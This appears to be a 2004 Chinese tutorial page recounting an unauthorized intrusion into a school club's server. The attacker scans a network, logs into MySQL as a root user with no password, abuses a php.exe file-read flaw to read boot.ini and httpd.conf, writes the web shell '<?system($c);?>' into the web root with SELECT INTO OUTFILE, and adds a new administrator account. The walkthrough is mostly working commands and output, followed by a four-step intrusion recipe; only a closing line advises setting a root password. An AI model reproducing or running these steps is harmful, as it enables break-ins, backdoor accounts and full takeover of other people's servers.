网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > 数据库 > MySQL教程
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
数据库:数据库教程,数据库技巧,Oracle教程,MySQL教程,Sybase教程,Access教程,DB2教程,数据库安全,数据库文摘
本月文章推荐
.实例讲解启动mysql server失败的.
.实例讲解MySQL数据库密码的恢复与.
.从MySQL导出XLS数据库工具(跨平台.
.MySQL数据库函数详解(2).
.MySQL数据库常见问题汇总.
.MySQL不安全临时文件建立漏洞.
.图解MySQL数据库的安装和操作.
.MySQL使用范围扩展 与ASP.NET配合.
.深入剖析MySQL数据库字符集的出错.
.使用MySQL内建复制功能来最佳化可.
.MySQL 5.0 新特性教程 存储过程:.
.MySQL怎样优化WHERE子句.
.怎样使MySQL安全以对抗解密高手.
.SQL Server 7.0 的数据迁移到MyS.
.MySQL数据库中对前端和后台进行系.
.向MySQL增加新用户权限.
.通过Access从Web获取MySQL数据.
.MySQL优化全攻略-服务器参数调整.
.MySQL字符集:怎样才能保证不发生.
.MySQL数据库索引查询优化的分享.

看紧你的3306端口,一次通过mysql的入侵

发表日期:2004-12-12


用superscan扫了一下
某个c类的网段,寻找开放80端口的机器,结果就只有一台机器
开放了80端口,试着连了一下,是我们学校某个社团的的主页。
从端口的banner来看应该是apache(win32),证实一下
telnet 211.87.xxx.xxx
get(回车)
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>501 Method
Not Implemented</TITLE>
</HEAD><BODY>
<H1>Method Not Implemented</H1>
get to /index
.html not supported.<P>
Invalid method in request get<P>
<HR>
<ADDRESS>Apache/1.3.2
2 Server at www.xxxxxx.com Port 80</ADDRESS>
</BODY></HTML> 
 

 

遗失对主机的连接。
C:\>
呵呵,这下看得更清楚了

 

据我猜测,应该是"apache+mysql+php"的黄金组合吧
习惯性的mysql -h 211.87.xxx.xxx
果然连上了
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 17 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql>


断开试着
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql>
呵呵,大家看到了他的root用户没有密码,这是我今天要说的第一个主题。
这是相当的危险的,碰见这种情况,有99.999%的可能可以进入
既然使用的apache+php,只要找到他在本地存放的web的物理路径就为所欲为了
呵呵
下一个问题是我今天要说的重点怎么样才能知道那台主机的存放的web的物理路径?
方法有很多种,在这里我介绍2种方法供初学者参考
首先要告诉大家的是低版本的apache+php有一个漏洞
http://xxx.xxxx.xxx.xxx/php/php.exe?对方的物理文件名
就可以把那个物理文件下载下来。


于是提http://211.87.xxx.xxx/php/php.exe?c:\a.txt
返回
No input file specified. (没有这个漏洞的话提示找不到网页)
好的,这说明他有这个漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:\boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating


systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional"


/fastdetect
呵呵,装的还是xp。
好了,我们可以猜测对方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?d:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?e:\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?c:\Program Files\apache\conf\httpd.conf
No input file specified.
http://211.87.xxx.xxx/php/php.exe?f:\apache\conf\httpd.conf
猜到了,返回了好多东西
找到我们想要的
# DocumentRoot: The directory out of which you will serve your
# documents. By default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
DocumentRoot "D:\homepage"
看得出来对方的主目录是D:\homepage
下面的事就好办了,现在就想得到shell?
先别急,我们先来看看另一种方法
那就是利用mysql的错误
随便的浏览一下他的网页找到一处利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14


长得太帅了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
Warning: Supplied argument is not a valid MySQL result resource in


d:\homepage\skonline\study\list.php on line 231
呵呵,一览无余。
然后,然后就是制造我们的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
Welcome to the MySQL monitor. Commands end with or \g.
Your MySQL connection id is 18 to server version: 3.23.53-max-nt


Type help; or \h for help. Type \c to clear the buffer.


mysql> use test;
Database changed
mysql> create table t(cmd text);
Query OK, 0 rows affected (0.08 sec)


mysql> insert into t values(<?system($c);?>);
Query OK, 1 row affected (12.52 sec)


mysql> select * from t into d:\\homepage\\test.php;


我的shell很简单<?system($c);?>,不到20个字符,但他已经足够了
可以让我执行任意命令,由此足以看出php的强大。


怎么用?
提交
http://211.87.xxx.xxx/test.php?c=net ;user kid /add
命令成功完成
http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add
命令成功完成


呵呵,测试成功,通过!
剩下的就是你自由发挥了。


由此我们不难总结出这一类的入侵步骤:
1,找到没有密码的3306端口
2,找到对方的web物理路径
3,制造shell
4,后续工作


呵呵,在这里提醒大家,如果你想要或正在用mysql的时候
千万要给自己的root设上一个强有力的密码。
看紧你的3306,呵呵。

上一篇:使用MySql ODBC进行MYsql和MSsql的数据转换 人气:15998
下一篇:从MySQL导出XLS数据库工具(跨平台) 人气:14890
浏览全部MySQL的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐